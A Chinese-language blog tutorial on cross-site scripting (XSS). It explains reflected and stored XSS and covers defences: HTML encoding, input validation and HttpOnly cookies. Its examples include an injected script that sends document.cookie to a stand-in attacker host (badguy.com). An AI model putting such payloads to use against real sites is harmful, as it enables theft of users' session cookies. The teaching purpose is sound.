• 详解Web应用安全系列(2)注入漏洞之XSS攻击


    上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. ,比如获取用户的Cookie,导航到恶意网站,携带木马等。

    认识XSS攻击

    XSS攻击这个名词听起来挺专业的,那么它是如何发生的呢?
    假如某个页面的表单中有下面这样一个textbox
    <input type="text" name="address1" value="value1from">
    value1from是来自用户的输入,如果用户不是输入value1from,而是输入
    "/>
    
    那么页面上的textbox就变成下面这个样子了。
    <input type="text" name="address1" value=""/><script>alert(document.cookie)script>- ">

    因为注释符后面的内容被忽略了,所以上面的代码等价于:

    <input type="text" name="address1" value=""/><script>alert(document.cookie)script>

    此时嵌入的JavaScript代码就会执行,页面会出来一个弹窗,将用户的cookie信息打印出来。

    当然上面这个例子看起来没有什么危害,但在实际的攻击事件中,黑客可能将您的cookie发送到他的网站中,从面达到盗取用户cookie的目的。
     

    XSS攻击的两种场景

    1,DOM-Based XSS

    DOM-Based顾名思义是直接嵌入攻击脚本到用户的页面中,并且受到影响的是当前用户。
    比如黑客发现了某个网站中的某个页面存在XSS攻击漏洞,页面地址是:
    http://victim.com/search.asp?term=apple

    可以看到页面接受一个叫term的QueryString参数,search.asp页面代码可能是这样的。

    复制代码
    <html>
      <title>title>
      <body>
        Results  for  <%Request.QueryString("term")%>
        ...
      body>
    html>
    复制代码

    黑客创建了一个网站用来接收盗取来的信息,然后通过注入攻击的脚本到这个请求的url中,然后url可能变成这样。

    http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)script>

    当黑客访问这个url后,攻击脚本就会嵌入到用户的浏览器中,search.asp页面就会变成下面这样子。

    复制代码
    <html>
      <title>title>
      <body>
        Results  for  <script>window.open("http://badguy.com?cookie="+document.cookie)script>
        ...
      body>
    html>
    复制代码

    看到了吗,XSS攻击脚本成功嵌入到用户的浏览器中了,那么当用户再访问这个页面时,攻击脚本就会将用户的cookie信息发送到他的网站,也就达到盗取用户的信息的目的了。

     

    2,Stored XSS

    Stored XSS即存储式XSS漏洞,这种攻击可能比上面这一种危害更大,攻击者将攻击脚本上传到web服务器,使得所有访问该页面的用户都面临信息泄露的可能。
    Stored XSS的攻击过程如下:
    首先是黑客发现了系统某个页面存在XSS漏洞,且该漏洞允许将攻击代码保存到数据库中。
    然后黑客就发布了一篇文章,并且在文章中嵌入了恶意JavaScript脚本。
    那么当其它用户访问到这篇文章的时候,嵌入在文章中的恶意JavaScript脚本就会在用户的浏览器中执行,那么用户的信息可能就会被盗取。
     

    防范措施

    1,对用户的输入进行转义再输出到页面

    比如上面的例子:
    复制代码
    <html>
      <title>title>
      <body>
        Results  for  <%Request.QueryString("term")%>
        ...
      body>
    html>
    复制代码

    由于.net已经内置了HTML编码的工具类,可以使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码,优化后:

    复制代码
    <html>
      <title>title>
      <body>
        Results  for  <%HtmlEncode(Request.QueryString("term"))%>
        ...
      body>
    html>
    复制代码

    如果遇到XSS攻击,黑客输入term=,最终经过HTML编码后页面是这样子的:

    复制代码
    <html>
      <title>title>
      <body>
        Results  for  <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
        ...
      body>
    html>
    复制代码

    可以看到,特殊字符都已经过转义了,那么嵌入的Javascript脚本也就无法执行了。

     

    2,对用户的输入进行校验

    意思是说只允许用户输入预期的数据,例如年龄的textbox中,只允许输入数字,而数字之外的字符都过滤掉,这样也就限制了黑客进行XSS攻击的可能。
     

    3,将重要的cookie标记为http only

    将重要的cookie标记为http only,那么通过JavaScript的document.cookie也就无法获取到用户的cookie了。
     
    另外,我最近开发并开源了一个支持免费申请通配符SSL证书的平台:华迅FreeCert,解决了每隔一段时间就要重新申请和部署证书(因为传统的云厂商提供的免费证书一般只有三个月有效期),不支持免费申请通配符证书这两大痛点,欢迎大家注册使用并提供宝贵意见,谢谢!
     
  • 相关阅读:
    Navicat Premium操作Mongodb(基本的增删改查)
    MySQL数据库优化的几种方式(笔面试必问)
    python基础语法回顾
    PHD滤波器及其变体的本质
    Day 57 django 路由系统 反向解析
    马斯克拟打造xAI“算力超级工厂”,助力聊天机器人Grok
    微服务中feign远程调用相关的各种超时问题
    华为机试真题实战应用【赛题代码篇】-整数最小和(附Python和Java代码)
    EGE——c++——通讯录
    微信小程序python+uniapp+hbuiderx宠物美容用品商城领养寄养系统i843n
  • 原文地址:https://www.cnblogs.com/mcgrady/p/18260522